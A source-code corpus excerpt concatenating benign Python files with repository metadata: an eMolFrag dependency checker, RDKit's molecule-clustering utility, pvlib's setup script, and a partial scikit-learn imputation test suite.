else: load2=pkgutil.find_loader('rdkit.Chem') if load2 == None: print('RDKit is not properly installed.\nExit.') flag = 1 return 1 else: pass except: print('Error Code: 0013') # Check pkcombu # Already checked previously. # Check function lib try: if os.path.exists(mainPath+'chopRDKit03.py'): pass else: flag = 1 print('Cannot find part of script files.\nExit.') return 1 if os.path.exists(mainPath+'combineLinkers01.py'): pass else: flag = 1 print('Cannot find part of script files.\nExit.') return 1 if os.path.exists(mainPath+'mol-ali-04.py'): pass else: flag = 1 print('Cannot find part of script files.\nExit.') return 1 if os.path.exists(mainPath+'rmRedLinker04.py'): pass else: flag = 1 print('Cannot find part of script files.\nExit.') return 1 if os.path.exists(mainPath+'rmRedBrick01.py'): pass else: flag = 1 print('Cannot find part of script files.\nExit.') return 1 except: print('Error Code: 0014') return flag
liutairan/eMolFrag
eMolFrag_2017_06_19_01/loader.py
Python
gpl-3.0
3,639
[ "RDKit" ]
324e5573534118c00c8b2f8735926cc2fb634e6f2a916898945512384e4628d2
# $Id$ # # Copyright (c) 2003-2006 Rational Discovery LLC # # @@ All Rights Reserved @@ # This file is part of the RDKit. # The contents are covered by the terms of the BSD license # which is included in the file license.txt, found at the root # of the RDKit source tree. # """ utility functionality for clustering molecules using fingerprints includes a command line app for clustering Sample Usage: python ClusterMols.py -d data.gdb -t daylight_sig \ --idName="CAS_TF" -o clust1.pkl \ --actTable="dop_test" --actName="moa_quant" """ from rdkit.Dbase.DbConnection import DbConnect from rdkit.Dbase import DbInfo,DbUtils from rdkit.ML.Data import DataUtils from rdkit.ML.Cluster import Clusters from rdkit.ML.Cluster import Murtagh import sys from rdkit.six.moves import cPickle from rdkit.Chem.Fingerprints import FingerprintMols,MolSimilarity from rdkit import DataStructs import numpy _cvsVersion="$Id$" idx1 = _cvsVersion.find(':')+1 idx2 = _cvsVersion.rfind('$') __VERSION_STRING="%s"%(_cvsVersion[idx1:idx2]) message=FingerprintMols.message error=FingerprintMols.error def GetDistanceMatrix(data,metric,isSimilarity=1): """ data should be a list of tuples with fingerprints in position 1 (the rest of the elements of the tuple are not important) Returns the symmetric distance matrix (see ML.Cluster.Resemblance for layout documentation) """ nPts = len(data) res = numpy.zeros((nPts*(nPts-1)/2),numpy.float) nSoFar=0 for col in xrange(1,nPts): for row in xrange(col): fp1 = data[col][1] fp2 = data[row][1] if fp1.GetNumBits()>fp2.GetNumBits(): fp1 = DataStructs.FoldFingerprint(fp1,fp1.GetNumBits()/fp2.GetNumBits()) elif fp2.GetNumBits()>fp1.GetNumBits(): fp2 = DataStructs.FoldFingerprint(fp2,fp2.GetNumBits()/fp1.GetNumBits()) sim = metric(fp1,fp2) if isSimilarity: sim = 1.-sim res[nSoFar] = sim nSoFar += 1 return res def ClusterPoints(data,metric,algorithmId,haveLabels=False,haveActs=True,returnDistances=False): message('Generating distance matrix.\n') dMat = GetDistanceMatrix(data,metric) message('Clustering\n') clustTree = Murtagh.ClusterData(dMat,len(data),algorithmId, isDistData=1)[0] acts = [] if haveActs and len(data[0])>2: # we've got activities... use them: acts = [int(x[2]) for x in data] if not haveLabels: labels = ['Mol: %s'%str(x[0]) for x in data] else: labels = [x[0] for x in data] clustTree._ptLabels = labels if acts: clustTree._ptValues = acts for pt in clustTree.GetPoints(): idx = pt.GetIndex()-1 pt.SetName(labels[idx]) if acts: try: pt.SetData(int(acts[idx])) except: pass if not returnDistances: return clustTree else: return clustTree,dMat def ClusterFromDetails(details): """ Returns the cluster tree """ data = MolSimilarity.GetFingerprints(details) if details.maxMols > 0: data = data[:details.maxMols] if details.outFileName: try: outF = open(details.outFileName,'wb+') except IOError: error("Error: could not open output file %s for writing\n"%(details.outFileName)) return None else: outF = None if not data: return None clustTree = ClusterPoints(data,details.metric,details.clusterAlgo, haveLabels=0,haveActs=1) if outF: cPickle.dump(clustTree,outF) return clustTree _usageDoc=""" Usage: ClusterMols.py [args] <fName> If <fName> is provided and no tableName is specified (see below), data will be read from the text file <fName>. Text files delimited with either commas (extension .csv) or tabs (extension .txt) are supported. Command line arguments are: - -d _dbName_: set the name of the database from which to pull input fingerprint information. - -t _tableName_: set the name of the database table from which to pull input fingerprint information - --idName=val: sets the name of the id column in the input database. Default is *ID*. - -o _outFileName_: name of the output file (output will be a pickle (.pkl) file with the cluster tree) - --actTable=val: name of table containing activity values (used to color points in the cluster tree). - --actName=val: name of column with activities in the activity table. The values in this column should either be integers or convertible into integers. - --SLINK: use the single-linkage clustering algorithm (default is Ward's minimum variance) - --CLINK: use the complete-linkage clustering algorithm (default is Ward's minimum variance) - --UPGMA: use the group-average clustering algorithm (default is Ward's minimum variance) - --dice: use the DICE similarity metric instead of Tanimoto - --cosine: use the cosine similarity metric instead of Tanimoto - --fpColName=val: name to use for the column which stores fingerprints (in pickled format) in the input db table. Default is *AutoFragmentFP* - --minPath=val: minimum path length to be included in fragment-based fingerprints. Default is *2*. - --maxPath=val: maximum path length to be included in fragment-based fingerprints. Default is *7*. - --nBitsPerHash: number of bits to be set in the output fingerprint for each fragment. Default is *4*. - --discrim: use of path-based discriminators to hash bits. Default is *false*. - -V: include valence information in the fingerprints Default is *false*. - -H: include Hs in the fingerprint Default is *false*. - --useMACCS: use the public MACCS keys to do the fingerprinting (instead of a daylight-type fingerprint) """ if __name__ == '__main__': message("This is ClusterMols version %s\n\n"%(__VERSION_STRING)) FingerprintMols._usageDoc=_usageDoc details = FingerprintMols.ParseArgs() ClusterFromDetails(details)
soerendip42/rdkit
rdkit/Chem/Fingerprints/ClusterMols.py
Python
bsd-3-clause
6,049
[ "RDKit" ]
3f8b6a8ec065ed6f06a59c08b489811d31315000b6a8b9f8856c80b0f072f21b
#!/usr/bin/env python import os import sys try: from setuptools import setup from setuptools.extension import Extension except ImportError: raise RuntimeError('setuptools is required') import versioneer DESCRIPTION = ('A set of functions and classes for simulating the ' + 'performance of photovoltaic energy systems.') LONG_DESCRIPTION = """ PVLIB Python is a community supported tool that provides a set of functions and classes for simulating the performance of photovoltaic energy systems. PVLIB Python was originally ported from the PVLIB MATLAB toolbox developed at Sandia National Laboratories and it implements many of the models and methods developed at the Labs. More information on Sandia Labs PV performance modeling programs can be found at https://pvpmc.sandia.gov/. We collaborate with the PVLIB MATLAB project, but operate independently of it. We need your help to make pvlib-python a great tool! Documentation: http://pvlib-python.readthedocs.io Source code: https://github.com/pvlib/pvlib-python """ DISTNAME = 'pvlib' LICENSE = 'BSD 3-Clause' AUTHOR = 'pvlib python Developers' MAINTAINER_EMAIL = 'holmgren@email.arizona.edu' URL = 'https://github.com/pvlib/pvlib-python' INSTALL_REQUIRES = ['numpy >= 1.12.0', 'pandas >= 0.22.0', 'pytz', 'requests', 'scipy >= 1.2.0', 'h5py'] # include dataclasses as a dependency only on python 3.6 if sys.version_info.major == 3 and sys.version_info.minor == 6: INSTALL_REQUIRES.append('dataclasses') TESTS_REQUIRE = ['nose', 'pytest', 'pytest-cov', 'pytest-mock', 'requests-mock', 'pytest-timeout', 'pytest-rerunfailures', 'pytest-remotedata'] EXTRAS_REQUIRE = { 'optional': ['cython', 'ephem', 'netcdf4', 'nrel-pysam', 'numba', 'pvfactors', 'siphon', 'statsmodels', 'cftime >= 1.1.1'], 'doc': ['ipython', 'matplotlib', 'sphinx == 3.1.2', 'pydata-sphinx-theme', 'sphinx-gallery', 'docutils == 0.15.2', 'pillow', 'netcdf4', 'siphon', 'sphinx-toggleprompt >= 0.0.5'], 'test': TESTS_REQUIRE } EXTRAS_REQUIRE['all'] = sorted(set(sum(EXTRAS_REQUIRE.values(), []))) CLASSIFIERS = [ 'Development Status :: 4 - Beta', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Intended Audience :: Science/Research', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Topic :: Scientific/Engineering', ] setuptools_kwargs = { 'zip_safe': False, 'scripts': [], 'include_package_data': True, 'python_requires': '>=3.6' } PROJECT_URLS = { "Bug Tracker": "https://github.com/pvlib/pvlib-python/issues", "Documentation": "https://pvlib-python.readthedocs.io/", "Source Code": "https://github.com/pvlib/pvlib-python", } # set up pvlib packages to be installed and extensions to be compiled PACKAGES = ['pvlib'] extensions = [] spa_sources = ['pvlib/spa_c_files/spa.c', 'pvlib/spa_c_files/spa_py.c'] spa_depends = ['pvlib/spa_c_files/spa.h'] spa_all_file_paths = map(lambda x: os.path.join(os.path.dirname(__file__), x), spa_sources + spa_depends) if all(map(os.path.exists, spa_all_file_paths)): print('all spa_c files found') PACKAGES.append('pvlib.spa_c_files') spa_ext = Extension('pvlib.spa_c_files.spa_py', sources=spa_sources, depends=spa_depends) extensions.append(spa_ext) else: print('WARNING: spa_c files not detected. ' + 'See installation instructions for more information.') setup(name=DISTNAME, version=versioneer.get_version(), cmdclass=versioneer.get_cmdclass(), packages=PACKAGES, install_requires=INSTALL_REQUIRES, extras_require=EXTRAS_REQUIRE, tests_require=TESTS_REQUIRE, ext_modules=extensions, description=DESCRIPTION, long_description=LONG_DESCRIPTION, author=AUTHOR, maintainer_email=MAINTAINER_EMAIL, license=LICENSE, url=URL, project_urls=PROJECT_URLS, classifiers=CLASSIFIERS, **setuptools_kwargs)
wholmgren/pvlib-python
setup.py
Python
bsd-3-clause
4,214
[ "pysam" ]
275d738afafdd9f749659374ccfc3b8d7e816ff46c0df969a6586da6f377ae09
from __future__ import division import pytest import numpy as np from scipy import sparse from scipy.stats import kstest import io from sklearn.utils._testing import assert_allclose from sklearn.utils._testing import assert_allclose_dense_sparse from sklearn.utils._testing import assert_array_equal from sklearn.utils._testing import assert_array_almost_equal # make IterativeImputer available from sklearn.experimental import enable_iterative_imputer # noqa from sklearn.datasets import load_diabetes from sklearn.impute import MissingIndicator from sklearn.impute import SimpleImputer, IterativeImputer from sklearn.dummy import DummyRegressor from sklearn.linear_model import BayesianRidge, ARDRegression, RidgeCV from sklearn.pipeline import Pipeline from sklearn.pipeline import make_union from sklearn.model_selection import GridSearchCV from sklearn import tree from sklearn.random_projection import _sparse_random_matrix from sklearn.exceptions import ConvergenceWarning def _check_statistics(X, X_true, strategy, statistics, missing_values): """Utility function for testing imputation for a given strategy. Test with dense and sparse arrays Check that: - the statistics (mean, median, mode) are correct - the missing values are imputed correctly""" err_msg = "Parameters: strategy = %s, missing_values = %s, " \ "sparse = {0}" % (strategy, missing_values) assert_ae = assert_array_equal if X.dtype.kind == 'f' or X_true.dtype.kind == 'f': assert_ae = assert_array_almost_equal # Normal matrix imputer = SimpleImputer(missing_values=missing_values, strategy=strategy) X_trans = imputer.fit(X).transform(X.copy()) assert_ae(imputer.statistics_, statistics, err_msg=err_msg.format(False)) assert_ae(X_trans, X_true, err_msg=err_msg.format(False)) # Sparse matrix imputer = SimpleImputer(missing_values=missing_values, strategy=strategy) imputer.fit(sparse.csc_matrix(X)) X_trans = imputer.transform(sparse.csc_matrix(X.copy())) if sparse.issparse(X_trans): X_trans = X_trans.toarray() assert_ae(imputer.statistics_, statistics, err_msg=err_msg.format(True)) assert_ae(X_trans, X_true, err_msg=err_msg.format(True)) @pytest.mark.parametrize("strategy", ['mean', 'median', 'most_frequent', "constant"]) def test_imputation_shape(strategy): # Verify the shapes of the imputed matrix for different strategies. X = np.random.randn(10, 2) X[::2] = np.nan imputer = SimpleImputer(strategy=strategy) X_imputed = imputer.fit_transform(sparse.csr_matrix(X)) assert X_imputed.shape == (10, 2) X_imputed = imputer.fit_transform(X) assert X_imputed.shape == (10, 2) iterative_imputer = IterativeImputer(initial_strategy=strategy) X_imputed = iterative_imputer.fit_transform(X) assert X_imputed.shape == (10, 2) @pytest.mark.parametrize("strategy", ["const", 101, None]) def test_imputation_error_invalid_strategy(strategy): X = np.ones((3, 5)) X[0, 0] = np.nan with pytest.raises(ValueError, match=str(strategy)): imputer = SimpleImputer(strategy=strategy) imputer.fit_transform(X) @pytest.mark.parametrize("strategy", ["mean", "median", "most_frequent"]) def test_imputation_deletion_warning(strategy): X = np.ones((3, 5)) X[:, 0] = np.nan with pytest.warns(UserWarning, match="Deleting"): imputer = SimpleImputer(strategy=strategy, verbose=True) imputer.fit_transform(X) @pytest.mark.parametrize("strategy", ["mean", "median", "most_frequent", "constant"]) def test_imputation_error_sparse_0(strategy): # check that error are raised when missing_values = 0 and input is sparse X = np.ones((3, 5)) X[0] = 0 X = sparse.csc_matrix(X) imputer = SimpleImputer(strategy=strategy, missing_values=0) with pytest.raises(ValueError, match="Provide a dense array"): imputer.fit(X) imputer.fit(X.toarray()) with pytest.raises(ValueError, match="Provide a dense array"): imputer.transform(X) def safe_median(arr, *args, **kwargs): # np.median([]) raises a TypeError for numpy >= 1.10.1 length = arr.size if hasattr(arr, 'size') else len(arr) return np.nan if length == 0 else np.median(arr, *args, **kwargs) def safe_mean(arr, *args, **kwargs): # np.mean([]) raises a RuntimeWarning for numpy >= 1.10.1 length = arr.size if hasattr(arr, 'size') else len(arr) return np.nan if length == 0 else np.mean(arr, *args, **kwargs) def test_imputation_mean_median(): # Test imputation using the mean and median strategies, when # missing_values != 0. rng = np.random.RandomState(0) dim = 10 dec = 10 shape = (dim * dim, dim + dec) zeros = np.zeros(shape[0]) values = np.arange(1, shape[0] + 1) values[4::2] = - values[4::2] tests = [("mean", np.nan, lambda z, v, p: safe_mean(np.hstack((z, v)))), ("median", np.nan, lambda z, v, p: safe_median(np.hstack((z, v))))] for strategy, test_missing_values, true_value_fun in tests: X = np.empty(shape) X_true = np.empty(shape) true_statistics = np.empty(shape[1]) # Create a matrix X with columns # - with only zeros, # - with only missing values # - with zeros, missing values and values # And a matrix X_true containing all true values for j in range(shape[1]): nb_zeros = (j - dec + 1 > 0) * (j - dec + 1) * (j - dec + 1) nb_missing_values = max(shape[0] + dec * dec - (j + dec) * (j + dec), 0) nb_values = shape[0] - nb_zeros - nb_missing_values z = zeros[:nb_zeros] p = np.repeat(test_missing_values, nb_missing_values) v = values[rng.permutation(len(values))[:nb_values]] true_statistics[j] = true_value_fun(z, v, p) # Create the columns X[:, j] = np.hstack((v, z, p)) if 0 == test_missing_values: # XXX unreached code as of v0.22 X_true[:, j] = np.hstack((v, np.repeat( true_statistics[j], nb_missing_values + nb_zeros))) else: X_true[:, j] = np.hstack((v, z, np.repeat(true_statistics[j], nb_missing_values))) # Shuffle them the same way np.random.RandomState(j).shuffle(X[:, j]) np.random.RandomState(j).shuffle(X_true[:, j]) # Mean doesn't support columns containing NaNs, median does if strategy == "median": cols_to_keep = ~np.isnan(X_true).any(axis=0) else: cols_to_keep = ~np.isnan(X_true).all(axis=0) X_true = X_true[:, cols_to_keep] _check_statistics(X, X_true, strategy, true_statistics, test_missing_values) def test_imputation_median_special_cases(): # Test median imputation with sparse boundary cases X = np.array([ [0, np.nan, np.nan], # odd: implicit zero [5, np.nan, np.nan], # odd: explicit nonzero [0, 0, np.nan], # even: average two zeros [-5, 0, np.nan], # even: avg zero and neg [0, 5, np.nan], # even: avg zero and pos [4, 5, np.nan], # even: avg nonzeros [-4, -5, np.nan], # even: avg negatives [-1, 2, np.nan], # even: crossing neg and pos ]).transpose() X_imputed_median = np.array([ [0, 0, 0], [5, 5, 5], [0, 0, 0], [-5, 0, -2.5], [0, 5, 2.5], [4, 5, 4.5], [-4, -5, -4.5], [-1, 2, .5], ]).transpose() statistics_median = [0, 5, 0, -2.5, 2.5, 4.5, -4.5, .5] _check_statistics(X, X_imputed_median, "median", statistics_median, np.nan) @pytest.mark.parametrize("strategy", ["mean", "median"]) @pytest.mark.parametrize("dtype", [None, object, str]) def test_imputation_mean_median_error_invalid_type(strategy, dtype): X = np.array([["a", "b", 3], [4, "e", 6], ["g", "h", 9]], dtype=dtype) msg = "non-numeric data:\ncould not convert string to float: '" with pytest.raises(ValueError, match=msg): imputer = SimpleImputer(strategy=strategy) imputer.fit_transform(X) @pytest.mark.parametrize("strategy", ["mean", "median"]) @pytest.mark.parametrize("type", ['list', 'dataframe']) def test_imputation_mean_median_error_invalid_type_list_pandas(strategy, type): X = [["a", "b", 3], [4, "e", 6], ["g", "h", 9]] if type == 'dataframe': pd = pytest.importorskip("pandas") X = pd.DataFrame(X) msg = "non-numeric data:\ncould not convert string to float: '" with pytest.raises(ValueError, match=msg): imputer = SimpleImputer(strategy=strategy) imputer.fit_transform(X) @pytest.mark.parametrize("strategy", ["constant", "most_frequent"]) @pytest.mark.parametrize("dtype", [str, np.dtype('U'), np.dtype('S')]) def test_imputation_const_mostf_error_invalid_types(strategy, dtype): # Test imputation on non-numeric data using "most_frequent" and "constant" # strategy X = np.array([ [np.nan, np.nan, "a", "f"], [np.nan, "c", np.nan, "d"], [np.nan, "b", "d", np.nan], [np.nan, "c", "d", "h"], ], dtype=dtype) err_msg = "SimpleImputer does not support data" with pytest.raises(ValueError, match=err_msg): imputer = SimpleImputer(strategy=strategy) imputer.fit(X).transform(X) def test_imputation_most_frequent(): # Test imputation using the most-frequent strategy. X = np.array([ [-1, -1, 0, 5], [-1, 2, -1, 3], [-1, 1, 3, -1], [-1, 2, 3, 7], ]) X_true = np.array([ [2, 0, 5], [2, 3, 3], [1, 3, 3], [2, 3, 7], ]) # scipy.stats.mode, used in SimpleImputer, doesn't return the first most # frequent as promised in the doc but the lowest most frequent. When this # test will fail after an update of scipy, SimpleImputer will need to be # updated to be consistent with the new (correct) behaviour _check_statistics(X, X_true, "most_frequent", [np.nan, 2, 3, 3], -1) @pytest.mark.parametrize("marker", [None, np.nan, "NAN", "", 0]) def test_imputation_most_frequent_objects(marker): # Test imputation using the most-frequent strategy. X = np.array([ [marker, marker, "a", "f"], [marker, "c", marker, "d"], [marker, "b", "d", marker], [marker, "c", "d", "h"], ], dtype=object) X_true = np.array([ ["c", "a", "f"], ["c", "d", "d"], ["b", "d", "d"], ["c", "d", "h"], ], dtype=object) imputer = SimpleImputer(missing_values=marker, strategy="most_frequent") X_trans = imputer.fit(X).transform(X) assert_array_equal(X_trans, X_true) @pytest.mark.parametrize("dtype", [object, "category"]) def test_imputation_most_frequent_pandas(dtype): # Test imputation using the most frequent strategy on pandas df pd = pytest.importorskip("pandas") f = io.StringIO("Cat1,Cat2,Cat3,Cat4\n" ",i,x,\n" "a,,y,\n" "a,j,,\n" "b,j,x,") df = pd.read_csv(f, dtype=dtype) X_true = np.array([ ["a", "i", "x"], ["a", "j", "y"], ["a", "j", "x"], ["b", "j", "x"] ], dtype=object) imputer = SimpleImputer(strategy="most_frequent") X_trans = imputer.fit_transform(df) assert_array_equal(X_trans, X_true) @pytest.mark.parametrize("X_data, missing_value", [(1, 0), (1., np.nan)]) def test_imputation_constant_error_invalid_type(X_data, missing_value): # Verify that exceptions are raised on invalid fill_value type X = np.full((3, 5), X_data, dtype=float) X[0, 0] = missing_value with pytest.raises(ValueError, match="imputing numerical"): imputer = SimpleImputer(missing_values=missing_value, strategy="constant", fill_value="x") imputer.fit_transform(X) def test_imputation_constant_integer(): # Test imputation using the constant strategy on integers X = np.array([ [-1, 2, 3, -1], [4, -1, 5, -1], [6, 7, -1, -1], [8, 9, 0, -1] ]) X_true = np.array([ [0, 2, 3, 0], [4, 0, 5, 0], [6, 7, 0, 0], [8, 9, 0, 0] ]) imputer = SimpleImputer(missing_values=-1, strategy="constant", fill_value=0) X_trans = imputer.fit_transform(X) assert_array_equal(X_trans, X_true) @pytest.mark.parametrize("array_constructor", [sparse.csr_matrix, np.asarray]) def test_imputation_constant_float(array_constructor): # Test imputation using the constant strategy on floats X = np.array([ [np.nan, 1.1, 0, np.nan], [1.2, np.nan, 1.3, np.nan], [0, 0, np.nan, np.nan], [1.4, 1.5, 0, np.nan] ]) X_true = np.array([ [-1, 1.1, 0, -1], [1.2, -1, 1.3, -1], [0, 0, -1, -1], [1.4, 1.5, 0, -1] ]) X = array_constructor(X) X_true = array_constructor(X_true) imputer = SimpleImputer(strategy="constant", fill_value=-1) X_trans = imputer.fit_transform(X) assert_allclose_dense_sparse(X_trans, X_true) @pytest.mark.parametrize("marker", [None, np.nan, "NAN", "", 0]) def test_imputation_constant_object(marker): # Test imputation using the constant strategy on objects X = np.array([ [marker, "a", "b", marker], ["c", marker, "d", marker], ["e", "f", marker, marker], ["g", "h", "i", marker] ], dtype=object) X_true = np.array([ ["missing", "a", "b", "missing"], ["c", "missing", "d", "missing"], ["e", "f", "missing", "missing"], ["g", "h", "i", "missing"] ], dtype=object) imputer = SimpleImputer(missing_values=marker, strategy="constant", fill_value="missing") X_trans = imputer.fit_transform(X) assert_array_equal(X_trans, X_true) @pytest.mark.parametrize("dtype", [object, "category"]) def test_imputation_constant_pandas(dtype): # Test imputation using the constant strategy on pandas df pd = pytest.importorskip("pandas") f = io.StringIO("Cat1,Cat2,Cat3,Cat4\n" ",i,x,\n" "a,,y,\n" "a,j,,\n" "b,j,x,") df = pd.read_csv(f, dtype=dtype) X_true = np.array([ ["missing_value", "i", "x", "missing_value"], ["a", "missing_value", "y", "missing_value"], ["a", "j", "missing_value", "missing_value"], ["b", "j", "x", "missing_value"] ], dtype=object) imputer = SimpleImputer(strategy="constant") X_trans = imputer.fit_transform(df) assert_array_equal(X_trans, X_true) @pytest.mark.parametrize("X", [[[1], [2]], [[1], [np.nan]]]) def test_iterative_imputer_one_feature(X): # check we exit early when there is a single feature imputer = IterativeImputer().fit(X) assert imputer.n_iter_ == 0 imputer = IterativeImputer() imputer.fit([[1], [2]]) assert imputer.n_iter_ == 0 imputer.fit([[1], [np.nan]]) assert imputer.n_iter_ == 0 def test_imputation_pipeline_grid_search(): # Test imputation within a pipeline + gridsearch. X = _sparse_random_matrix(100, 100, density=0.10) missing_values = X.data[0] pipeline = Pipeline([('imputer', SimpleImputer(missing_values=missing_values)), ('tree', tree.DecisionTreeRegressor(random_state=0))]) parameters = { 'imputer__strategy': ["mean", "median", "most_frequent"] } Y = _sparse_random_matrix(100, 1, density=0.10).toarray() gs = GridSearchCV(pipeline, parameters) gs.fit(X, Y) def test_imputation_copy(): # Test imputation with copy X_orig = _sparse_random_matrix(5, 5, density=0.75, random_state=0) # copy=True, dense => copy X = X_orig.copy().toarray() imputer = SimpleImputer(missing_values=0, strategy="mean", copy=True) Xt = imputer.fit(X).transform(X) Xt[0, 0] = -1 assert not np.all(X == Xt) # copy=True, sparse csr => copy X = X_orig.copy() imputer = SimpleImputer(missing_values=X.data[0], strategy="mean", copy=True) Xt = imputer.fit(X).transform(X) Xt.data[0] = -1 assert not np.all(X.data == Xt.data) # copy=False, dense => no copy X = X_orig.copy().toarray() imputer = SimpleImputer(missing_values=0, strategy="mean", copy=False) Xt = imputer.fit(X).transform(X) Xt[0, 0] = -1 assert_array_almost_equal(X, Xt) # copy=False, sparse csc => no copy X = X_orig.copy().tocsc() imputer = SimpleImputer(missing_values=X.data[0], strategy="mean", copy=False) Xt = imputer.fit(X).transform(X) Xt.data[0] = -1 assert_array_almost_equal(X.data, Xt.data) # copy=False, sparse csr => copy X = X_orig.copy() imputer = SimpleImputer(missing_values=X.data[0], strategy="mean", copy=False) Xt = imputer.fit(X).transform(X) Xt.data[0] = -1 assert not np.all(X.data == Xt.data) # Note: If X is sparse and if missing_values=0, then a (dense) copy of X is # made, even if copy=False. def test_iterative_imputer_zero_iters(): rng = np.random.RandomState(0) n = 100 d = 10 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng).toarray() missing_flag = X == 0 X[missing_flag] = np.nan imputer = IterativeImputer(max_iter=0) X_imputed = imputer.fit_transform(X) # with max_iter=0, only initial imputation is performed assert_allclose(X_imputed, imputer.initial_imputer_.transform(X)) # repeat but force n_iter_ to 0 imputer = IterativeImputer(max_iter=5).fit(X) # transformed should not be equal to initial imputation assert not np.all(imputer.transform(X) == imputer.initial_imputer_.transform(X)) imputer.n_iter_ = 0 # now they should be equal as only initial imputation is done assert_allclose(imputer.transform(X), imputer.initial_imputer_.transform(X)) def test_iterative_imputer_verbose(): rng = np.random.RandomState(0) n = 100 d = 3 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng).toarray() imputer = IterativeImputer(missing_values=0, max_iter=1, verbose=1) imputer.fit(X) imputer.transform(X) imputer = IterativeImputer(missing_values=0, max_iter=1, verbose=2) imputer.fit(X) imputer.transform(X) def test_iterative_imputer_all_missing(): n = 100 d = 3 X = np.zeros((n, d)) imputer = IterativeImputer(missing_values=0, max_iter=1) X_imputed = imputer.fit_transform(X) assert_allclose(X_imputed, imputer.initial_imputer_.transform(X)) @pytest.mark.parametrize( "imputation_order", ['random', 'roman', 'ascending', 'descending', 'arabic'] ) def test_iterative_imputer_imputation_order(imputation_order): rng = np.random.RandomState(0) n = 100 d = 10 max_iter = 2 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng).toarray() X[:, 0] = 1 # this column should not be discarded by IterativeImputer imputer = IterativeImputer(missing_values=0, max_iter=max_iter, n_nearest_features=5, sample_posterior=False, skip_complete=True, min_value=0, max_value=1, verbose=1, imputation_order=imputation_order, random_state=rng) imputer.fit_transform(X) ordered_idx = [i.feat_idx for i in imputer.imputation_sequence_] assert (len(ordered_idx) // imputer.n_iter_ == imputer.n_features_with_missing_) if imputation_order == 'roman': assert np.all(ordered_idx[:d-1] == np.arange(1, d)) elif imputation_order == 'arabic': assert np.all(ordered_idx[:d-1] == np.arange(d-1, 0, -1)) elif imputation_order == 'random': ordered_idx_round_1 = ordered_idx[:d-1] ordered_idx_round_2 = ordered_idx[d-1:] assert ordered_idx_round_1 != ordered_idx_round_2 elif 'ending' in imputation_order: assert len(ordered_idx) == max_iter * (d - 1) @pytest.mark.parametrize( "estimator", [None, DummyRegressor(), BayesianRidge(), ARDRegression(), RidgeCV()] ) def test_iterative_imputer_estimators(estimator): rng = np.random.RandomState(0) n = 100 d = 10 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng).toarray() imputer = IterativeImputer(missing_values=0, max_iter=1, estimator=estimator, random_state=rng) imputer.fit_transform(X) # check that types are correct for estimators hashes = [] for triplet in imputer.imputation_sequence_: expected_type = (type(estimator) if estimator is not None else type(BayesianRidge())) assert isinstance(triplet.estimator, expected_type) hashes.append(id(triplet.estimator)) # check that each estimator is unique assert len(set(hashes)) == len(hashes) def test_iterative_imputer_clip(): rng = np.random.RandomState(0) n = 100 d = 10 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng).toarray() imputer = IterativeImputer(missing_values=0, max_iter=1, min_value=0.1, max_value=0.2, random_state=rng) Xt = imputer.fit_transform(X) assert_allclose(np.min(Xt[X == 0]), 0.1) assert_allclose(np.max(Xt[X == 0]), 0.2) assert_allclose(Xt[X != 0], X[X != 0]) def test_iterative_imputer_clip_truncnorm(): rng = np.random.RandomState(0) n = 100 d = 10 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng).toarray() X[:, 0] = 1 imputer = IterativeImputer(missing_values=0, max_iter=2, n_nearest_features=5, sample_posterior=True, min_value=0.1, max_value=0.2, verbose=1, imputation_order='random', random_state=rng) Xt = imputer.fit_transform(X) assert_allclose(np.min(Xt[X == 0]), 0.1) assert_allclose(np.max(Xt[X == 0]), 0.2) assert_allclose(Xt[X != 0], X[X != 0]) def test_iterative_imputer_truncated_normal_posterior(): # test that the values that are imputed using `sample_posterior=True` # with boundaries (`min_value` and `max_value` are not None) are drawn # from a distribution that looks gaussian via the Kolmogorov Smirnov test. # note that starting from the wrong random seed will make this test fail # because random sampling doesn't occur at all when the imputation # is outside of the (min_value, max_value) range rng = np.random.RandomState(42) X = rng.normal(size=(5, 5)) X[0][0] = np.nan imputer = IterativeImputer(min_value=0, max_value=0.5, sample_posterior=True, random_state=rng) imputer.fit_transform(X) # generate multiple imputations for the single missing value imputations = np.array([imputer.transform(X)[0][0] for _ in range(100)]) assert all(imputations >= 0) assert all(imputations <= 0.5) mu, sigma = imputations.mean(), imputations.std() ks_statistic, p_value = kstest((imputations - mu) / sigma, 'norm') if sigma == 0: sigma += 1e-12 ks_statistic, p_value = kstest((imputations - mu) / sigma, 'norm') # we want to fail to reject null hypothesis # null hypothesis: distributions are the same assert ks_statistic < 0.2 or p_value > 0.1, \ "The posterior does appear to be normal" @pytest.mark.parametrize( "strategy", ["mean", "median", "most_frequent"] ) def test_iterative_imputer_missing_at_transform(strategy): rng = np.random.RandomState(0) n = 100 d = 10 X_train = rng.randint(low=0, high=3, size=(n, d)) X_test = rng.randint(low=0, high=3, size=(n, d)) X_train[:, 0] = 1 # definitely no missing values in 0th column X_test[0, 0] = 0 # definitely missing value in 0th column imputer = IterativeImputer(missing_values=0, max_iter=1, initial_strategy=strategy, random_state=rng).fit(X_train) initial_imputer = SimpleImputer(missing_values=0, strategy=strategy).fit(X_train) # if there were no missing values at time of fit, then imputer will # only use the initial imputer for that feature at transform assert_allclose(imputer.transform(X_test)[:, 0], initial_imputer.transform(X_test)[:, 0]) def test_iterative_imputer_transform_stochasticity(): rng1 = np.random.RandomState(0) rng2 = np.random.RandomState(1) n = 100 d = 10 X = _sparse_random_matrix(n, d, density=0.10, random_state=rng1).toarray() # when sample_posterior=True, two transforms shouldn't be equal imputer = IterativeImputer(missing_values=0, max_iter=1, sample_posterior=True, random_state=rng1) imputer.fit(X) X_fitted_1 = imputer.transform(X) X_fitted_2 = imputer.transform(X) # sufficient to assert that the means are not the same assert np.mean(X_fitted_1) != pytest.approx(np.mean(X_fitted_2)) # when sample_posterior=False, and n_nearest_features=None # and imputation_order is not random # the two transforms should be identical even if rng are different imputer1 = IterativeImputer(missing_values=0, max_iter=1, sample_posterior=False, n_nearest_features=None, imputation_order='ascending', random_state=rng1) imputer2 = IterativeImputer(missing_values=0, max_iter=1, sample_posterior=False, n_nearest_features=None, imputation_order='ascending', random_state=rng2) imputer1.fit(X) imputer2.fit(X) X_fitted_1a = imputer1.transform(X) X_fitted_1b = imputer1.transform(X) X_fitted_2 = imputer2.transform(X) assert_allclose(X_fitted_1a, 